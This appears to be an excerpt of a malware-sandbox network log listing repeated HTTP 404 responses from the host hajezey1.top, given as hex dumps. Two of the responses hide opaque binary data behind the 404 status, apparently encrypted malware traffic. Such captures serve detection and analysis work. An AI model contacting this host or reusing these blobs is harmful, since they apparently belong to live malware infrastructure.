Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:50 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b f7 79 8d fb c4 4d c2 ec 5d 4f 5f 5b ff 33 90 5f 84 e2 eb 0b 4a 05 8e 8b a4 d4 ac e4 80 54 fd 17 d2 ea 4f e8 a1 1e c7 1f ab 29 29 8c 97 ad 67 c0 78 b7 bc 72 3f 1a 7c 03 84 5e 85 63 91 5b 07 e9 1f 9d 15 46 a6 b3 58 f1 06 ee 0c 42 de 8b f4 24 eb a8 e1 48 29 e8 74 cc 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f 61 79 b7 9e 96 98 8b 36 19 19 cb 8a f3 d8 04 0f 4e 86 19 7d 6f 37 e3 04 89 3d a4 55 80 90 70 89 9c 2c 4b 6b b6 e2 a2 22 48 d2 d1 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 eb 5f c8 c3 e7 b2 ec 24 1a 0a 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 54 8c f5 0a ef 8b 71 91 e0 35 a3 64 49 e0 76 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa cb f9 b0 72 50 6d ec f0 52 a4 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 d2 ab 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 60 9c 82 4b d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 e3 40 3d 9d 43 cd 17 fe 2f 89 9d f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 7e af da 11 4b 95 36 2a 21 3f 65 74 b0 bb 87 f6 aa 81 de bb a0 69 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 9f 3a 48 93 9f 4e bd 44 ef 5a 89 4f dc ea c0 4a 00 97 af a4 57 25 11 bb d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 11 e6 cc 64 3d da 9a 56 3a 22 7d e6 d2 1b 62 b9 50 31 eb cd 14 26 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 12 c3 b2 a5 83 41 ab 13 af b8 e8 81 63 a2 57 4a 60 87 bd 5f 6e 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 dc 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:55 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:10:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d2 9e 55 06 63 17 e5 ff dc fc be 1e b4 53 d9 63 ba 53 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OUcScS0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:11:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:11:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:11:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:11:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:11:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 